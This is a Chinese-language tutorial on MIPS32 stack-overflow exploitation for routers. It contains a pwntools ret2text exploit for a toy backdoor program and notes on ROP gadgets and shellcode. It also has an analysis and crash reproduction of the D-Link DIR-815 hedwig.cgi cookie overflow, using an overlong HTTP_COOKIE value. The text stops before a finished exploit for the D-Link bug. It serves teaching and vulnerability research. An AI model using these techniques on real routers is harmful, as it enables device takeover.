路由器漏洞利用之栈溢出

缓冲区溢出漏洞是很常见的漏洞,广泛存在于各个软件中,相信在学习pwn的过程中,大多数pwn师傅第一个学会的就是栈溢出的利用了,本文将介绍如何在MIPS32架构中利用栈溢出漏洞

MIPS汇编的一些小知识

因为不是本文讨论重点,这里仅做简单描述

寄存器

1.通用寄存器

1
2
3
4
5
6
7
8
9
10
11
12
zero -> 值始终为0
$at -> 保留寄存器
$v0-$v1 -> 保存表达式或者程序返回结果
$a0-$v3 -> 函数调用的前四个参数
$t0-t7 -> 临时寄存器
$s0-$s7 -> 保存函数调用期间必须保存的原值
$t8-$t9 -> 临时寄存器,拓展t0-t7
$k0-$k1 -> 保留,中断处理函数使用
$gp -> 全局指针
$sp -> 栈顶指针
$fp -> 保存栈指针
$ra -> 保存返回地址

  1. 特殊寄存器
    1
    2
    3
    PC -> 程序计数器
    HI -> 乘除结果高位寄存器
    LO -> 乘除结果低位寄存器

基本指令

  1. LOAD/STORE指令
    1
    lb,lbu,lh,lhu,ll,lw,lwl,lwr,sb,sc,sh,sw,swl,swr,move

其中以l开头为加载,s开头为存储,其中move指令用于寄存器之间的值传递

  1. 算术运算指令
    1
    add,addi,addiu,addiu,sub,subu,clo,clz,slt,slti,sltiu,sltu,mul,mult,multu,madd,msub,msubu,div,divu

3.类比较指令

1
slt,slti,sltiu,sltu

  1. SYSCALL

依旧是软中断,用于执行系统调用

MIPS堆栈原理

在平常的linux pwn中我们遇到的系统架构多为x86体系,但在路由器的嵌入式系统中,很大一部分都是MIPS指令系统,而这两个系统在很多方面都有差异,这里主介绍我们利用漏洞所需要注意几个方面

  1. MIPS32架构中是没有EBP寄存器的,他在进入函数时是将当前栈指针向下移动n比特到该函数的stack frame存储空间,函数返回时再加上偏移量恢复栈指针

  2. 因为第一点的原因,寄存器出入栈时都需要指定偏移量

  3. 传参过程中,前四个参数$a0-$a3,多余的会保存在调用函数的预留的栈顶空间内

  4. MIPS调用函数时会把函数的返回地址直接存入$RA寄存器

函数调用

在MIPS32架构中,函数被分为两种即叶子函数和非叶子函数。所谓叶子函数就是在该函数中不再调用其他函数的函数,反之,有其他函数调用的即是非叶子函数

举个栗子

1
2
3
4
5
6
7
8
9
10
11
12
13
void A(int *a,int *b)
{
int tmp(0);
tmp=a;
a=b;
b=tmp;
}

void B()
{
int a(0),b(13);
A(a,b);
}

上面的A就是叶子函数,B为非叶子函数,而这两种函数在调用时也有很大区别:

拿上面的B来说好了,B函数在执行到第二行时即调用A函数时,先复制$PC寄存器的值到$RA,然后跳转到A函数,因为A是叶子函数,所以返回B的地址依然在$RA中,但如果是非叶子函数,呢么会将返回B的地址存在堆栈中
而在函数返回的时候,因为A是叶子函数,因此就直接用”jr $ra”返回B,否则先从堆栈中取出返回值,存到$ra中,后面的步骤就和叶子函数相同了

栈溢出

我们知道函数被分为了叶子函数和非叶子函数,他们的函数调用过程也不尽相同,因此在分析溢出时也要分为叶子函数和非叶子函数了分析

非叶子函数

从函数调用过程中我们知道在调用非叶子函数时,会把返回地址存入堆栈,因此我们拿一个简单的例子来说

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include<stdio.h>

void backdoor()
{
system("/bin/sh");
}

void vlun()
{
char dst[20]={0};
read(0,&dst,1000);
}

void main()
{
vlun();
exit();
}

我们编译一下:

1
mips-linux-gcc no_leaf.c -static -o no_leaf

这里我们反编译一下程序

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
                     **************************************************************
* FUNCTION *
**************************************************************
undefined main()
undefined v0:1 <RETURN>
undefined4 Stack[-0x4]:4 local_4 XREF[1]: 00400438(W)
undefined4 Stack[-0x8]:4 local_8 XREF[1]: 0040043c(W)
main XREF[3]: Entry Point(*),
__start:00400188(*), 0041f200(*)
00400434 e0 ff bd 27 addiu sp,sp,-0x20
00400438 1c 00 bf af sw ra,local_4(sp)
0040043c 18 00 be af sw s8,local_8(sp)
00400440 25 f0 a0 03 or s8,sp,zero
00400444 f1 00 10 0c jal vlun undefined vlun()
00400448 00 00 00 00 _nop
0040044c 00 00 00 00 nop
00400450 25 e8 c0 03 or sp,s8,zero
00400454 1c 00 bf 8f lw ra,0x1c(sp)
00400458 18 00 be 8f lw s8,0x18(sp)
0040045c 20 00 bd 27 addiu sp,sp,0x20
00400460 08 00 e0 03 jr ra

vuln函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

**************************************************************
* FUNCTION *
**************************************************************
undefined vlun()
undefined v0:1 <RETURN>
undefined4 Stack[-0x4]:4 local_4 XREF[1]: 004003c8(W)
undefined4 Stack[-0x8]:4 local_8 XREF[1]: 004003cc(W)
undefined4 Stack[-0x28]:4 local_28 XREF[1]: 004003dc(W)
vlun XREF[2]: Entry Point(*), main:00400444(c)
004003c4 c8 ff bd 27 addiu sp,sp,-0x38
004003c8 34 00 bf af sw ra,local_4(sp)
004003cc 30 00 be af sw s8,local_8(sp)
004003d0 25 f0 a0 03 or s8,sp,zero
004003d4 42 00 1c 3c lui gp,0x42
004003d8 e0 71 9c 27 addiu gp=>_gp,gp,0x71e0
004003dc 10 00 bc af sw gp=>_gp,local_28(sp)
004003e0 18 00 c0 af sw zero,0x18(s8)
004003e4 1c 00 c0 af sw zero,0x1c(s8)
004003e8 20 00 c0 af sw zero,0x20(s8)
004003ec 24 00 c0 af sw zero,0x24(s8)
004003f0 28 00 c0 af sw zero,0x28(s8)
004003f4 e8 03 06 24 li a2,0x3e8
004003f8 18 00 c2 27 addiu v0,s8,0x18
004003fc 25 28 40 00 or a1,v0,zero
00400400 25 20 00 00 or a0,zero,zero
00400404 34 80 82 8f lw v0,-0x7fcc(gp)=>->read = 004004ac
00400408 25 c8 40 00 or t9,v0,zero
0040040c 27 00 11 04 bal read ssize_t read(int __fd, void * __
00400410 00 00 00 00 _nop
00400414 10 00 dc 8f lw gp,0x10(s8)
00400418 00 00 00 00 nop
0040041c 25 e8 c0 03 or sp,s8,zero
00400420 34 00 bf 8f lw ra,0x34(sp)
00400424 30 00 be 8f lw s8,0x30(sp)
00400428 38 00 bd 27 addiu sp,sp,0x38
0040042c 08 00 e0 03 jr ra
00400430 00 00 00 00 _nop

可以看到因为是非叶子函数,因此我们计算完偏移后可以直接使用ret2text的办法来完成利用
这里简单提一下gdb调试mips架构的方法,我这里安装了pwndbg插件,并且需要安装gdb-multiarch
调试方法如下:

  1. qemu调起程序

    1
    qemu-mipsel -g 9981 -L mipsel-linux-gnu ./no_leaf
  2. gdb-multiarc attach调试

    1
    2
    set architecture mips
    target remote localhost:9981

然后就可以进行基本调试了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────
V0 0x0
V1 0x0
A0 0x0
A1 0x0
A2 0x0
A3 0x0
T0 0x0
T1 0x0
T2 0x0
T3 0x0
T4 0x0
T5 0x0
T6 0x0
T7 0x0
T8 0x0
T9 0x0
S0 0x0
S1 0x0
S2 0x0
S3 0x0
S4 0x0
S5 0x0
S6 0x0
S7 0x0
S8 0x0
FP 0x0
SP 0x76ffefb0 ◂— 0x1
PC 0x400170 ◂— move $zero, $ra /* '%' */
───────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
0x400170 move $zero, $ra
0x400174 bal 0x40017c
0x400178 nop
0x40017c lui $gp, 0x42
0x400180 addiu $gp, $gp, 0x71e0
0x400184 move $ra, $zero
0x400188 lw $a0, -0x7fe0($gp)
0x40018c lw $a1, ($sp)
0x400190 addiu $a2, $sp, 4
0x400194 addiu $at, $zero, -8
0x400198 and $sp, $sp, $at
───────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────
00:0000sp 0x76ffefb0 ◂— 0x1
01:00040x76ffefb4 —▸ 0x76fff16a ◂— './no_leaf'
02:00080x76ffefb8 ◂— 0x0
03:000c│ 0x76ffefbc —▸ 0x76fff174 ◂— '_=/usr/bin/qemu-mipsel'
04:00100x76ffefc0 —▸ 0x76fff18b ◂— 'LC_CTYPE=en_US.UTF-8'
05:00140x76ffefc4 —▸ 0x76fff1a0 ◂— 0x435f534c ('LS_C')
06:00180x76ffefc8 —▸ 0x76fff728 ◂— 'LSCOLORS=Gxfxcxdxbxegedabagacad'
07:001c│ 0x76ffefcc —▸ 0x76fff748 ◂— 'LESS=-R'
─────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────
► f 0 400170

这里就用简单的cyclic指令生成一串字符串来测试偏移

1
2
pwndbg> cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

输入字符串后程序崩溃

可以看到pwndbg里输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
Program received signal SIGSEGV, Segmentation fault.
0x61616168 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────
V0 0xc9
V1 0x0
A0 0x0
A1 0x76ffee28 ◂— 0x61616161 ('aaaa')
A2 0x3e8
A3 0x0
T0 0x81010303
T1 0x666165
T2 0x2f494e4a ('JNI/')
T3 0xffffffff
T4 0x0
T5 0x0
T6 0x0
T7 0x0
T8 0x9
T9 0x400470 ◂— lui $gp, 2
S0 0x0
S1 0x41f000 ◂— 0xffffffff
S2 0x0
S3 0x0
S4 0x0
S5 0x0
S6 0x0
S7 0x0
S8 0x61616167 ('gaaa')
FP 0x76ffee48 ◂— 'iaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
SP 0x76ffee48 ◂— 'iaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
PC 0x61616168 ('haaa')
───────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
Invalid address 0x61616168
───────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────
00:0000│ fp sp 0x76ffee48 ◂— 'iaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
01:00040x76ffee4c ◂— 'jaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
02:00080x76ffee50 ◂— 'kaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
03:000c│ 0x76ffee54 ◂— 'laaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
04:00100x76ffee58 ◂— 'maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
05:00140x76ffee5c ◂— 'naaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
06:00180x76ffee60 ◂— 'oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
07:001c│ 0x76ffee64 ◂— 'paaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
─────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────
► f 0 61616168
────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Program received signal SIGSEGV

利用cyclic -l查看偏移可以得到偏移量为28

1
2
pwndbg> cyclic -l 0x61616168
28

exp和正常的pwn没什么区别,
本例exp如下

1
2
3
4
5
from pwn import *
p=process("./no_leaf")
payload='a'*0x38+p32(0x400370)
p.sendline(payload)
p.interactive()

叶子函数

在上述的介绍中可以知道,叶子函数是不存在堆栈上的,他会将返回地址存在$ra指针中,因此叶子函数的栈溢出并不好利用,但是在可以大量溢出的情况下,我们还是可以利用叶子函数的溢出的

rop的使用

在做正常的pwn题时,构造rop链是一种非常具有杀伤力的攻击手段,在mips架构中自然也不逞多让,平常我们构造rop链可以通过ropgadget来自动化搜索gadget,而mips架构中也有一个很好用的搜索gadget的插件,即使用IDA的mipsgadget插件

注:本插件适用于IDA6.8,但IDA7.0其实也有大师傅写了相应的脚本

使用方法:

1
2
3
4
5
6
7
mipsrop.help()           帮助菜单
mipsrop.doubles() 打印一系列函数调用gadget
mipsrop.stackfinder() 寻找栈数据可控的 rop,放到寄存器中
mipsrop.summary() 列出所有的可用 rop
mipsrop.system() 列出用于执行system函数
mipsrop.find(xxx) 查找特定rop
mipsrop.tails() 列出将栈上的数据保存在$ra等寄存器中的rop

具体rop的使用和正常的pwn利用没有什么特别大的区别,这里也不再过多阐述

简单shellcode的编写思路

我这里记录下我平时写shellcode所用的方法

1
2
3
4
首先用c语言完成所需的程序,然后利用gcc生成文件
然后可以用objdump来进行反汇编,看一下是否会有坏指令,如果有就根据汇编文件自己修改一下,没有就直接用(想多
根据反汇编代码来自己写一下汇编代码,然后根据需求修改到字节数大小满足,没有截断就结束:)
然后objcopy一步到位

漏洞细节

D-Link Devices - ‘hedwig.cgi’ Remote Buffer Overflow in Cookie Header

1
https://www.exploit-db.com/exploits/33863

虽然D-link官网只说明645版本会收到影响,但其实815,300,615也会有

固件下载地址:

1
ftp://ftp2.dlink.com/PRODUCTS/DIR-815/REVA/DIR-815_FIRMWARE_1.01.ZIP

漏洞分析

我们根据公布漏洞的题目可以看出bug是出在’hedwig.cgi’文件内,而漏洞的成因是因为cookie过长可以导致栈溢出

下载完成后进行固件的提取,这里我们直接用binwalk就可以直接提取

1
binwalk -e DIR-815.bin

然后进入 squashfs-root文件夹下就可以看到熟悉的内容了

1
2
 ~/iot/real/D-LINK815栈溢出/dir815_FW_101/_DIR-815.bin.extracted/squashfs-root  ls
bin dev etc home htdocs lib mnt proc sbin sys tmp usr var www

这时我们直接使用find命令搜索hedwig.cgi的位置即可

1
2
find ./ -name 'hedwig.cgi'
./htdocs/web/hedwig.cgi

这时我们看看该文件是什么

1
2
~/iot/real/D-LINK815栈溢出/dir815_FW_101/_DIR-815.bin.extracted/squashfs-root/htdocs/web  ls -l hedwig.cgi 
lrwxrwxrwx 1 nightrainy nightrainy 14 Nov 8 17:52 hedwig.cgi -> /htdocs/cgibin

可以看到这个文件是指向cgibin的符号链接,下面我们就对该文件进行反汇编分析,由于是cookie导致的溢出,那么我们就直接对cookie进行分析,我们可以通过查询字符串来定位函数位置,这里我使用的是ghidra,当然,IDA也是一样的效果
可以搜索到字符串的函数应该是sess_get_uid函数,反汇编代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204

**************************************************************
* FUNCTION *
**************************************************************
undefined sess_get_uid()
assume gp = 0x4346d0
assume t9 = 0x407c98
undefined v0:1 <RETURN>

sess_get_uid XREF[9]: Entry Point(*),
phpcgi_main:00405498(c),
authentication:0040825c(c),
sess_generate_captcha:0040861c(c
sess_validate:004087b0(c),
sess_logout:0040893c(c),
hedwigcgi_main:00409648(c),
pigwidgeoncgi_main:00409c44(c),
0042c714(*)
00407c98 43 00 1c 3c lui gp,0x43
assume t9 = <UNKNOWN>
assume gp = <UNKNOWN>
00407c9c c0 ff bd 27 addiu sp,sp,-0x40
00407ca0 d0 46 9c 27 addiu gp,gp,0x46d0
00407ca4 3c 00 bf af sw ra,local_4(sp)
00407ca8 38 00 be af sw s8,local_8(sp)
00407cac 34 00 b7 af sw s7,local_c(sp)
00407cb0 30 00 b6 af sw s6,local_10(sp)
00407cb4 2c 00 b5 af sw s5,local_14(sp)
00407cb8 28 00 b4 af sw s4,local_18(sp)
00407cbc 24 00 b3 af sw s3,local_1c(sp)
00407cc0 20 00 b2 af sw s2,local_20(sp)
00407cc4 1c 00 b1 af sw s1,local_24(sp)
00407cc8 18 00 b0 af sw s0,local_28(sp)
00407ccc 10 00 bc af sw gp=>_gp,local_30(sp)
00407cd0 f4 80 99 8f lw t9,-0x7f0c(gp)=>->sobj_new = 0040f560
00407cd4 00 00 00 00 nop
00407cd8 09 f8 20 03 jalr t9=>sobj_new undefined sobj_new()
00407cdc 21 b0 80 00 _move s6,a0
00407ce0 10 00 bc 8f lw gp,local_30(sp)
00407ce4 00 00 00 00 nop
00407ce8 f4 80 99 8f lw t9,-0x7f0c(gp)=>->sobj_new = 0040f560
00407cec 00 00 00 00 nop
00407cf0 09 f8 20 03 jalr t9=>sobj_new undefined sobj_new()
00407cf4 21 90 40 00 _move s2,v0
00407cf8 10 00 bc 8f lw gp,local_30(sp)
00407cfc 42 00 04 3c lui a0,0x42
00407d00 dc 82 99 8f lw t9,-0x7d24(gp)=>->getenv = 004194b0
00407d04 cc a5 84 24 addiu a0=>s_HTTP_COOKIE_0041a5cc,a0,-0x5a34 = "HTTP_COOKIE"
00407d08 09 f8 20 03 jalr t9=>getenv char * getenv(char * __name)
00407d0c 21 98 40 00 _move s3,v0
00407d10 10 00 bc 8f lw gp,local_30(sp)
00407d14 72 00 40 12 beq s2,zero,LAB_00407ee0
00407d18 42 00 04 3c _lui a0,0x42
00407d1c 70 00 60 12 beq s3,zero,LAB_00407ee0
00407d20 00 00 00 00 _nop
00407d24 6e 00 40 10 beq v0,zero,LAB_00407ee0
00407d28 21 a0 40 00 _move s4,v0
00407d2c 21 88 00 00 clear s1
00407d30 3b 00 15 24 li s5,0x3b
00407d34 03 00 1e 24 li s8,0x3
00407d38 3b 00 00 10 b LAB_00407e28
00407d3c 20 00 17 24 _li s7,0x20
LAB_00407d40 XREF[1]: 00407e30(j)
00407d40 1b 00 22 12 beq s1,v0,LAB_00407db0
00407d44 02 00 22 2a _slti v0,s1,0x2
00407d48 05 00 40 10 beq v0,zero,LAB_00407d60
00407d4c 00 00 00 00 _nop
00407d50 0a 00 20 12 beq s1,zero,LAB_00407d7c
00407d54 00 00 00 00 _nop
00407d58 33 00 00 10 b LAB_00407e28
00407d5c 01 00 94 26 _addiu s4,s4,0x1
LAB_00407d60 XREF[1]: 00407d48(j)
00407d60 02 00 02 24 li v0,0x2
00407d64 1d 00 22 12 beq s1,v0,LAB_00407ddc
00407d68 00 00 00 00 _nop
00407d6c 2d 00 3e 16 bne s1,s8,LAB_00407e24
00407d70 42 00 05 3c _lui a1,0x42
00407d74 24 00 00 10 b LAB_00407e08
00407d78 21 20 40 02 _move a0,s2
LAB_00407d7c XREF[1]: 00407d50(j)
00407d7c 29 00 17 12 beq s0,s7,LAB_00407e24
00407d80 00 00 00 00 _nop
00407d84 74 81 99 8f lw t9,-0x7e8c(gp)=>->sobj_free = 0040e6b8
00407d88 00 00 00 00 nop
00407d8c 09 f8 20 03 jalr t9=>sobj_free undefined sobj_free()
00407d90 21 20 40 02 _move a0,s2
00407d94 10 00 bc 8f lw gp,local_30(sp)
00407d98 00 00 00 00 nop
00407d9c 74 81 99 8f lw t9,-0x7e8c(gp)=>->sobj_free = 0040e6b8
00407da0 00 00 00 00 nop
00407da4 09 f8 20 03 jalr t9=>sobj_free undefined sobj_free()
00407da8 21 20 60 02 _move a0,s3
00407dac 10 00 bc 8f lw gp,local_30(sp)
LAB_00407db0 XREF[1]: 00407d40(j)
00407db0 4e 00 15 12 beq s0,s5,LAB_00407eec
00407db4 3d 00 02 24 _li v0,0x3d
00407db8 1a 00 02 12 beq s0,v0,LAB_00407e24
00407dbc 02 00 11 24 _li s1,0x2
00407dc0 6c 82 99 8f lw t9,-0x7d94(gp)=>->sobj_add_char = 0040eb08
00407dc4 21 28 00 02 move a1,s0
00407dc8 09 f8 20 03 jalr t9=>sobj_add_char undefined sobj_add_char()
00407dcc 21 20 40 02 _move a0,s2
00407dd0 10 00 bc 8f lw gp,local_30(sp)
00407dd4 13 00 00 10 b LAB_00407e24
00407dd8 01 00 11 24 _li s1,0x1
LAB_00407ddc XREF[1]: 00407d64(j)
00407ddc 03 00 15 16 bne s0,s5,LAB_00407dec
00407de0 21 28 00 02 _move a1,s0
00407de4 0f 00 00 10 b LAB_00407e24
00407de8 03 00 11 24 _li s1,0x3
LAB_00407dec XREF[1]: 00407ddc(j)
00407dec 6c 82 99 8f lw t9,-0x7d94(gp)=>->sobj_add_char = 0040eb08
00407df0 00 00 00 00 nop
00407df4 09 f8 20 03 jalr t9=>sobj_add_char undefined sobj_add_char()
00407df8 21 20 60 02 _move a0,s3
00407dfc 10 00 bc 8f lw gp,local_30(sp)
00407e00 09 00 00 10 b LAB_00407e28
00407e04 01 00 94 26 _addiu s4,s4,0x1
LAB_00407e08 XREF[1]: 00407d74(j)
00407e08 6c 81 99 8f lw t9,-0x7e94(gp)=>->sobj_strcmp = 0040e4b0
00407e0c 00 00 00 00 nop
00407e10 09 f8 20 03 jalr t9=>sobj_strcmp undefined sobj_strcmp()
00407e14 d8 a5 a5 24 _addiu a1=>DAT_0041a5d8,a1,-0x5a28 = 75h u
00407e18 10 00 bc 8f lw gp,local_30(sp)
00407e1c 08 00 40 10 beq v0,zero,LAB_00407e40
00407e20 21 88 00 00 _clear s1
LAB_00407e24 XREF[6]: 00407d6c(j), 00407d7c(j),
00407db8(j), 00407dd4(j),
00407de4(j), 00407eec(j)
00407e24 01 00 94 26 addiu s4,s4,0x1
LAB_00407e28 XREF[3]: 00407d38(j), 00407d58(j),
00407e00(j)
00407e28 00 00 90 82 lb s0,0x0(s4)
00407e2c 00 00 00 00 nop
00407e30 c3 ff 00 16 bne s0,zero,LAB_00407d40
00407e34 01 00 02 24 _li v0,0x1
00407e38 22 00 00 10 b LAB_00407ec4
00407e3c 42 00 05 3c _lui a1,0x42
LAB_00407e40 XREF[2]: 00407e1c(j), 00407ed8(j)
00407e40 9c 82 99 8f lw t9,-0x7d64(gp)=>->sobj_get_string = 0040e1cc
00407e44 21 20 60 02 move a0,s3
LAB_00407e48 XREF[1]: 00407ee4(j)
00407e48 09 f8 20 03 jalr t9=>getenv undefined sobj_get_string()
char * getenv(char * __name)
00407e4c 00 00 00 00 _nop
00407e50 10 00 bc 8f lw gp,local_30(sp)
00407e54 21 20 c0 02 move a0,s6
00407e58 78 80 99 8f lw t9,-0x7f88(gp)=>->sobj_add_string = 0040e8f0
00407e5c 00 00 00 00 nop
00407e60 09 f8 20 03 jalr t9=>sobj_add_string undefined sobj_add_string()
00407e64 21 28 40 00 _move a1,v0
00407e68 10 00 bc 8f lw gp,local_30(sp)
00407e6c 06 00 40 12 beq s2,zero,LAB_00407e88
00407e70 00 00 00 00 _nop
00407e74 0c 83 99 8f lw t9,-0x7cf4(gp)=>->sobj_del = 0040e724
00407e78 00 00 00 00 nop
00407e7c 09 f8 20 03 jalr t9=>sobj_del undefined sobj_del()
00407e80 21 20 40 02 _move a0,s2
00407e84 10 00 bc 8f lw gp,local_30(sp)
LAB_00407e88 XREF[1]: 00407e6c(j)
00407e88 1a 00 60 12 beq s3,zero,LAB_00407ef4
00407e8c 21 20 60 02 _move a0,s3
00407e90 0c 83 99 8f lw t9,-0x7cf4(gp)=>->sobj_del = 0040e724
00407e94 3c 00 bf 8f lw ra,local_4(sp)
00407e98 38 00 be 8f lw s8,local_8(sp)
00407e9c 34 00 b7 8f lw s7,local_c(sp)
00407ea0 30 00 b6 8f lw s6,local_10(sp)
00407ea4 2c 00 b5 8f lw s5,local_14(sp)
00407ea8 28 00 b4 8f lw s4,local_18(sp)
00407eac 24 00 b3 8f lw s3,local_1c(sp)
00407eb0 20 00 b2 8f lw s2,local_20(sp)
00407eb4 1c 00 b1 8f lw s1,local_24(sp)
00407eb8 18 00 b0 8f lw s0,local_28(sp)
00407ebc 08 00 20 03 jr t9=>sobj_del
00407ec0 40 00 bd 27 _addiu sp,sp,0x40
LAB_00407ec4 XREF[1]: 00407e38(j)
00407ec4 6c 81 99 8f lw t9,-0x7e94(gp)=>->sobj_strcmp = 0040e4b0
00407ec8 d8 a5 a5 24 addiu a1=>DAT_0041a5d8,a1,-0x5a28 = 75h u
00407ecc 09 f8 20 03 jalr t9=>sobj_strcmp undefined sobj_strcmp()
00407ed0 21 20 40 02 _move a0,s2
00407ed4 10 00 bc 8f lw gp,local_30(sp)
00407ed8 d9 ff 40 10 beq v0,zero,LAB_00407e40
00407edc 42 00 04 3c _lui a0,0x42
LAB_00407ee0 XREF[3]: 00407d14(j), 00407d1c(j),
00407d24(j)
00407ee0 dc 82 99 8f lw t9,-0x7d24(gp)=>->getenv = 004194b0
00407ee4 d8 ff 00 10 b LAB_00407e48
00407ee8 dc a5 84 24 _addiu a0=>s_REMOTE_ADDR_0041a5dc,a0,-0x5a24 = "REMOTE_ADDR"
LAB_00407eec XREF[1]: 00407db0(j)
00407eec cd ff 00 10 b LAB_00407e24
00407ef0 21 88 00 00 _clear s1
LAB_00407ef4 XREF[1]: 00407e88(j)
00407ef4 3c 00 bf 8f lw ra,local_4(sp)
00407ef8 38 00 be 8f lw s8,local_8(sp)
00407efc 34 00 b7 8f lw s7,local_c(sp)
00407f00 30 00 b6 8f lw s6,local_10(sp)
00407f04 2c 00 b5 8f lw s5,local_14(sp)
00407f08 28 00 b4 8f lw s4,local_18(sp)
00407f0c 24 00 b3 8f lw s3,local_1c(sp)
00407f10 20 00 b2 8f lw s2,local_20(sp)
00407f14 1c 00 b1 8f lw s1,local_24(sp)
00407f18 18 00 b0 8f lw s0,local_28(sp)
00407f1c 08 00 e0 03 jr ra
00407f20 40 00 bd 27 _addiu sp,sp,0x40

分析过程中并未发现漏洞出现在哪里,随即查看下哪些函数调用了这个函数,终于在hedwigcgi_main函数中发现了可能会导致栈溢出的危险函数sprintf,这部分的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0040963c 42 00 02 3c     _lui       v0,0x42
00409640 44 80 99 8f lw t9,-0x7fbc(gp)=>->sess_get_uid = 00407c98
00409644 00 00 00 00 nop
00409648 09 f8 20 03 jalr t9=>sess_get_uid undefined sess_get_uid()
0040964c 21 20 a0 02 _move a0,s5
00409650 10 00 bc 8f lw gp,local_4d8(sp)
00409654 00 00 00 00 nop
00409658 9c 82 99 8f lw t9,-0x7d64(gp)=>->sobj_get_string = 0040e1cc
0040965c 00 00 00 00 nop
00409660 09 f8 20 03 jalr t9=>sobj_get_string undefined sobj_get_string()
00409664 21 20 a0 02 _move a0,s5
00409668 10 00 bc 8f lw gp,local_4d8(sp)
0040966c 42 00 05 3c lui a1,0x42
00409670 d0 80 99 8f lw t9,-0x7f30(gp)=>->sprintf = 004197f0
00409674 21 38 40 00 move a3,v0
00409678 21 30 40 02 move a2=>s_/runtime/session_0041a5b8,s2 = "/runtime/session"
0040967c 60 a8 a5 24 addiu a1=>s_%s/%s/postxml_0041a860,a1,-0x57a0 = "%s/%s/postxml"
00409680 09 f8 20 03 jalr t9=>sprintf int sprintf(char * __s, char * _

推测可能就是因为sprintf函数导致最终的栈溢出,下面我们对猜测进行验证

1
sudo chroot . ./qemu-mipsel-static -E CONTENT_LENGTH=20 -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=`python -c "print 'uid=123'+'A'*0x600"` -E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="0.0.0.0" -g 23946 ./htdocs/web/hedwig.cgi

然后我们还是用gdb attach上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
